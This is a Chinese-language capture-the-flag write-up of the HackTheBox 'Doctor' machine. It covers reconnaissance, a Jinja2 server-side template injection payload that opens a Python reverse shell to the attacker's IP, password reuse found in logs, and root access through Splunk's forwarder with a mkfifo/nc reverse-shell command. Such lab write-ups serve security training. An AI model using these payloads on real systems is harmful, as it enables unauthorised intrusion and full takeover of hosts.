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本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责。
服务探测
开放端口
┌──(root㉿ss)-[~]
└─# nmap -p- --open --min-rate=1000 10.10.10.209
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-23 04:35 EDT
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 5.25% done; ETC: 04:37 (0:02:06 remaining)
Nmap scan report for 10.10.10.209
Host is up (0.077s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8089/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 92.42 seconds
详细端口信息
┌──(root㉿ss)-[~]
└─# nmap -sV -Pn -A -O 10.10.10.209 -p 22,80,8089
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-23 04:39 EDT
Nmap scan report for 10.10.10.209
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Doctor
|_http-server-header: Apache/2.4.41 (Ubuntu)
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
|_http-server-header: Splunkd
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (92%), Linux 5.0 (92%), Linux 5.0 - 5.4 (91%), Linux 5.3 - 5.4 (91%), Linux 2.6.32 (91%), Linux 5.0 - 5.3 (90%), Crestron XPanel control system (90%), Linux 5.4 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 76.72 ms 10.10.14.1
2 75.45 ms 10.10.10.209
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.56 seconds
8089
┌──(root㉿ss)-[~]
└─# python3 /root/dirsearch/dirsearch.py -e* -u https://10.10.10.209:8089
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30 | Wordlist size: 15492
Output File: /root/dirsearch/reports/10.10.10.209-8089/_22-05-23_04-47-55.txt
Error Log: /root/dirsearch/logs/errors-22-05-23_04-47-55.log
Target: https://10.10.10.209:8089/
[04:47:56] Starting:
[04:52:30] 200 - 26B - /robots.txt
[04:52:32] 401 - 130B - /services/config/databases.yml
[04:52:32] 401 - 130B - /services
[04:52:32] 401 - 130B - /services/
[04:53:02] 200 - 2KB - /v1
[04:53:02] 200 - 2KB - /v1.0
[04:53:02] 200 - 2KB - /v2/
[04:53:02] 200 - 2KB - /v2.0
[04:53:02] 200 - 2KB - /v3/
[04:53:02] 200 - 2KB - /v4/
[04:53:02] 200 - 2KB - /v3
[04:53:02] 200 - 2KB - /v1.1
[04:53:02] 200 - 2KB - /v1/
[04:53:03] 200 - 2KB - /v2
Task Completed
8089上的Splunk服务，在谷歌上找到下面这篇文章
https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/
但是需要一个用户凭据，尝试过常用信息，没有成功。爆破rockyou前10万，没有爆出密码
80
┌──(root㉿ss)-[~]
└─# python3 /root/dirsearch/dirsearch.py -e* -u http://10.10.10.209
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30 | Wordlist si
Output File: /root/dirsearch/reports/10.10.10.209/_22-05-23_04-40-30.txt
Error Log: /root/dirsearch/logs/errors-22-05-23_04-40-30.log
Target: http://10.10.10.209/
[04:40:30] Starting:
[04:40:33] 400 - 304B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[04:40:34] 301 - 309B - /js -> http://10.10.10.209/js/
[04:40:36] 403 - 277B - /.ht_wsr.txt
[04:40:36] 403 - 277B - /.htaccess.bak1
[04:40:36] 403 - 277B - /.htaccess.orig
[04:40:36] 403 - 277B - /.htaccess_extra
[04:40:36] 403 - 277B - /.htaccess_orig
[04:40:36] 403 - 277B - /.htaccess_sc
[04:40:36] 403 - 277B - /.htaccessBAK
[04:40:36] 403 - 277B - /.htaccessOLD2
[04:40:36] 403 - 277B - /.htaccessOLD
[04:40:36] 403 - 277B - /.htaccess.save
[04:40:36] 403 - 277B - /.htaccess.sample
[04:40:36] 403 - 277B - /.htpasswd_test
[04:40:36] 403 - 277B - /.htm
[04:40:36] 403 - 277B - /.html
[04:40:36] 403 - 277B - /.httr-oauth
[04:40:36] 403 - 277B - /.htpasswds
[04:40:37] 403 - 277B - /.php
[04:40:55] 200 - 19KB - /about.html
[04:43:37] 400 - 304B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[04:43:40] 200 - 19KB - /contact.html
[04:43:50] 301 - 310B - /css -> http://10.10.10.209/css/
[04:43:56] 301 - 312B - /fonts -> http://10.10.10.209/fonts/
[04:44:06] 200 - 3KB - /images/
[04:44:06] 301 - 313B - /images -> http://10.10.10.209/images/
[04:44:07] 200 - 19KB - /index.html
[04:44:08] 200 - 3KB - /js/
[04:44:56] 403 - 277B - /server-status/
[04:44:56] 403 - 277B - /server-status
80端口看起来都是一些静态页面
早contact页面找到一个邮箱：info@doctors.htb
把doctors.htb加入到/etc/hosts
echo "10.10.10.209 doctors.htb" >> /etc/hosts
打开http://doctors.htb跳转到一个登陆页面，这个页面之前用IP访问的时候无法访问到
登陆页面可以注册，注册一个测试账号：max@1.com : 123456
这个好像是doctors这个网站的一个内部员工留言网，可以创建账号，发帖子
网页源代码有一行注释的超链接
<a>archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>
/archive正在测试当中，但是打开显示空白页面，查看空白页面源代码。返回的是xml
SSTI
使用curl访问这个域名
┌──(root💀kali)-[~]
└─# curl -v http://doctors.htb/
* Trying 10.10.10.209:80...
* Connected to doctors.htb (10.10.10.209) port 80 (#0)
> GET / HTTP/1.1
> Host: doctors.htb
> User-Agent: curl/7.83.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 FOUND
< Date: Mon, 23 May 2022 16:24:00 GMT
< Server: Werkzeug/1.0.1 Python/3.8.2
< Content-Type: text/html; charset=utf-8
< Content-Length: 237
< Location: http://doctors.htb/login?next=%2F
< Vary: Cookie
< Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiaW5mbyIsIlBsZWFzZSBsb2cgaW4gdG8gYWNjZXNzIHRoaXMgcGFnZS4iXX1dfQ.You1IA.vRcuhcqEW6Q_jcrvRuzD41Y6DAQ; HttpOnly; Path=/
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
* Connection #0 to host doctors.htb left intact
<p>You should be redirected automatically to target URL: <a href="/login?next=%2F">/login?next=%2F</a>. If not click the link.
发现这个http server其实是python
我们nmap探测到的80的http server是 Apache httpd 2.4.41
说明其实是两个不同的站点
python网站有可能会出现服务器端模板注入
服务器端模板注入，本质上是用户的输入被当初了代码执行
A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side
如何测试？
参考hacktrick里面测试的payload，我们可以分别在title和Content做测试
比如：
title：{{7*7}}
Content:${7*7}
注意提交后的回显页面没有成功显示注入，但是在/archive返回的xml页面里，是可以回显上面的注入的
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>49</title></item>
</channel>
由上可知。title里面的7*7被当成了python代码执行
下面payload拿到rev shell
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.16.4\",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
访问/archive触发
┌──(root💀kali)-[~/htb/doctor]
└─# nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.209] 41604
bash: cannot set terminal process group (875): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$ id
id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
web@doctor:~$ whoami
whoami
web
web@doctor:~$
提权
传linpeas
有一个重启触发的定时任务
@reboot /home/web/blog.sh
bash文件可写，但是当前账号没有重启权限
找到一个哈希，但是貌似不可以被爆破
-> Extracting tables from /opt/clean/site.db (limit 20)
--> Found interesting column names in user (output limit 10)
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(20) NOT NULL,
email VARCHAR(120) NOT NULL,
image_file VARCHAR(20) NOT NULL,
password VARCHAR(60) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username),
UNIQUE (email)
)
1, admin, admin@doctor.htb, default.gif, $2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S
日志文件有一个优点奇怪的东西
"POST /reset_password?email=Guitar123" 里的这个Guitar123不像是邮箱，倒像是密码
╔══════════╣ Searching passwords inside logs (limit 70)
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
[ 5.233165] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
[ 5.605047] systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
[ 5.605161] systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
[ 5.666833] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
Binary file /var/log/apache2/access.log.12.gz matches
尝试su一个用户
web@doctor:/tmp$ su shaun
su shaun
Password: Guitar123
id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
whoami
shaun
是shaun的密码
拿到user flag
shaun@doctor:~$ cat user.txt
cat user.txt
cdec0fff1bd6278d..
回到8089端口服务
使用shaun：Guitar123登录web auth，可以成功登录
使用这个exp
┌──(root💀kali)-[~/htb/doctor]
└─# python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --lhost 10.10.16.4 --lport 443 --username shaun --password 'Guitar123' --payload "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 8089 >/tmp/f"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmp8dhv64n6.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.16.4:443/
10.10.10.209 - - [25/May/2022 06:14:42] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
收到root shell
┌──(root💀kali)-[~/htb/doctor]
└─# nc -lnvp 8089 1 ⨯
listening on [any] 8089 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.209] 50182
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cat /root/root.txt
99bb7d228d041..
#
另一种方法？
python有cap_sys_ptrace+ep能力
/usr/bin/python3.8 = cap_sys_ptrace+ep
参考这两篇文章：
https://www.cnblogs.com/zlgxzswjy/p/15185591.html
https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
貌似可以提权，但是上面提供的pytho版本是2，靶机是python3，需要改一下脚本
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